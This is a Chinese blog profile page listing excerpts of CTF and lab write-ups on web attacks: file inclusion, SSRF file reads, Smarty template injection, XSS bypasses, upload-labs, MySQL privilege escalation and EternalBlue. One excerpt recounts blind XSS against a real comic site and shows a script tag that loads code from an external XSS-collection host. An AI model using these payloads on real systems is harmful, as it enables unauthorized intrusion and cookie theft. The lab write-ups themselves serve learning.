- 博客(13)
- 资源 (2)
- 收藏
- 关注
原创 BUUCTF-[极客大挑战 2019]BuyFlag
BUUCTF-[极客大挑战 2019]BuyFlag进去一看,哦原来是某安全团队的招募启示。但没看到什么有用的信息,看到了Q群号,我还以为是一道社工题(=_=)来到pay.php看一下源码,发现了一串代码。<!-- ~~~post money and password~~~if (isset($_POST['password'])) { $password = $_POST['password']; if (is_numeric($password)) { echo "pas
2021-05-27 15:43:54
240
原创 BUUCTF-[CISCN2019 总决赛 Day2 Web1]Easyweb
BUUCTF-[CISCN2019 总决赛 Day2 Web1]Easyweb就给了一个这个。。。先打上robots.txt看看发现有源码备份,但不是index.php.bak。。。看源码发现有image.php试一下,源码备份成功<?phpinclude "config.php";$id=isset($_GET["id"])?$_GET["id"]:"1";$path=isset($_GET["path"])?$_GET["path"]:"";$id=addslashes(
2021-05-14 16:30:11
710
原创 BUUCTF-[CISCN2019 华北赛区 Day1 Web2]ikun
BUUCTF-[CISCN2019 华北赛区 Day1 Web2]ikun鸡你太美看一下网页这段视频真不错!!!好了,看题开始让我们先注册一个账号,登陆后竟然有¥1000ikun们冲鸭,一定要买到Lv6让我们买到Lv6,上脚本找一下import requestsfrom time import *url="http://6777eeab-1fd2-4a3c-b124-d2ac0b67fd9b.node3.buuoj.cn/shop?page={}"for i in range(1
2021-05-14 10:59:18
612
原创 BUUCTF-[CISCN2019 华北赛区 Day1 Web5]CyberPunk
BUUCTF-[CISCN2019 华北赛区 Day1 Web5]CyberPunk看题看源码有提示?file=?文件包含漏洞,可以利用这个漏洞读取源码。分析index.php?file=php://filter/read=convert.base64-encode/resource=change.php挨个读取完后,base64解码后,在change.php发现了一点问题<?phprequire_once "config.php";if(!empty($_POST["us
2021-05-13 15:38:20
496
原创 BUUCTF-[CISCN2019 华东北赛区]Web2
BUUCTF-[CISCN2019 华东北赛区]Web2看题一个论坛,内容不错:)可以投稿,点击投稿发现要注册,那就先注册登录。随便账号密码就行。常规操作,扫一下站点,发现有admin.php,进行访问思路有session,可以确定一个思路,获取管理员的session得到权限,然后拿到flag执行去投稿,发现存在XSS漏洞,但是有一些过滤,''(''被转义成了"(",存在WAF,先转码,然后eval执行JS代码,并且需要一个window.location.href来自动触发刷新页面使用
2021-05-13 11:52:03
488
4
原创 BUUCTF-[CISCN2019 华东南赛区]Web11
BUU-CTF[CISCN2019 华东南赛区]Web11页面最下端有提示Build with Smarty !确定页面使用的是Smarty模板引擎。输入{$smarty.version}就可以看到返回的smarty的版本号,该题目的Smarty版本是3.1。但Smarty已经废弃{php}标签,强烈建议不要使用。在Smarty 3.1,{php}仅在SmartyBC中可用。在页面右上角给出了IP,所以可以通过这里进行注入。BurpSuite抓包,添加X-Forwarded-For: {if r
2021-05-13 09:14:58
264
原创 BUUCTF-[CISCN2019 华东南赛区]Web4
BUUCTF-[CISCN2019 华东南赛区]Web4看题点击Read somethings,会跳转到http://3fd8b1f9-614f-47ff-8e79-0f678e7bb4eb.node3.buuoj.cn/read?url=https://baidu.com看url应该不是PHP,因为PHP几乎没有用这种路由,直接猜flask。使用read?url=local_file:///etc/passwd读取内容。读取源码:read?url=local_file:///app/app.
2021-05-12 20:59:30
524
1
原创 BUUCTF-[网鼎杯 2020 青龙组]AreUSerialz
BUUCTF-[网鼎杯 2020 青龙组]AreUSerialz看题<?phpinclude("flag.php");highlight_file(__FILE__);class FileHandler { protected $op; protected $filename; protected $content; function __construct() { $op = "1"; $filename = "/t
2021-04-27 09:25:15
271
原创 第一次实战:XX漫画的XSS盲打
记一次实战:XX漫画的XSS盲打XSS盲打盲打只是一种惯称的说法,就是不知道后台不知道有没有xss存在的情况下,不顾一切的输入xss代码在留言啊投诉窗口啊之类的地方,尽可能多的尝试xss的语句与语句的存在方式,就叫盲打。一句话,就是干,使劲干。Interesting的发现看的王X洋是血脉喷张、欲罢不能。看着看着居然要充值,这不好使,师哥告诉过我们:“要白嫖。”随后让我们点开问题反馈XSS payload<sCRiPt sRC=https://xssaq.com/rHOw><
2021-03-26 20:28:26
1841
原创 upload-labs通关记录
upload-labs源码地址upload-labs(github)PASS-1 JS检查直接BurpSuite抓包改包将上传的图片????后缀由图片jpg、png等改为php脚本,然后上传即可PASS-2 type修改
2021-03-17 20:36:20
133
原创 MySQL提权
提权MySQL两种提权方式udf提权,mof提权MySQL_UDF提权要求:1.目标系统是Windows(Win2000,XP,Win2003);2.拥有MYSQL的某个用户账号,此账号必须有对mysql的insert和delete权限以创建和抛弃函数3.有root账号密码 导出udf: MYSQL 5.1以上版本,必须要把udf.dll文件放到MYSQL安装目录下的lib\plugin文件夹下才能创建自定义函数 可以再mysql里输入select @@basedirshow variable
2021-03-05 19:30:15
131
原创 EternalBlue永恒之蓝渗透测试
Eternal Blue(永恒之蓝)-ms17-010渗透测试第一次做的渗透测试,也是第一次去写博客,还望各位师傅多多指正 :)工具1.靶机系统 window7 开放445以及139端口2.kali-Linux虚拟机注意保证靶机与主机IP位于同一网段(可用ping命令进行检测)0x01 更新metasploit在kali终端输入msfconsole然后输入apt-get install metaspolit-framework(要在root权限下,若不在,记得在命令前加入sudo,记得输入密
2021-03-05 18:47:46
547
原创 网络安全笔记
1、拿到一个待检测的站,你觉得应该先做什么?(web渗透的最终结果是获取到服务器的权限)第一步:信息收集比如说whois查询,TG查询,google查询 或者说查询服务器旁站以及子域名站点,因为主站一般比较难,所以先看看旁站有没有通用性的cms或者其他漏洞或者说查看服务器操作系统版本,web中间件,看看是否存在已知的漏洞,比如IIS,APACHE,NGINX的解析漏洞 &n
2021-03-03 19:11:26
187
2
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人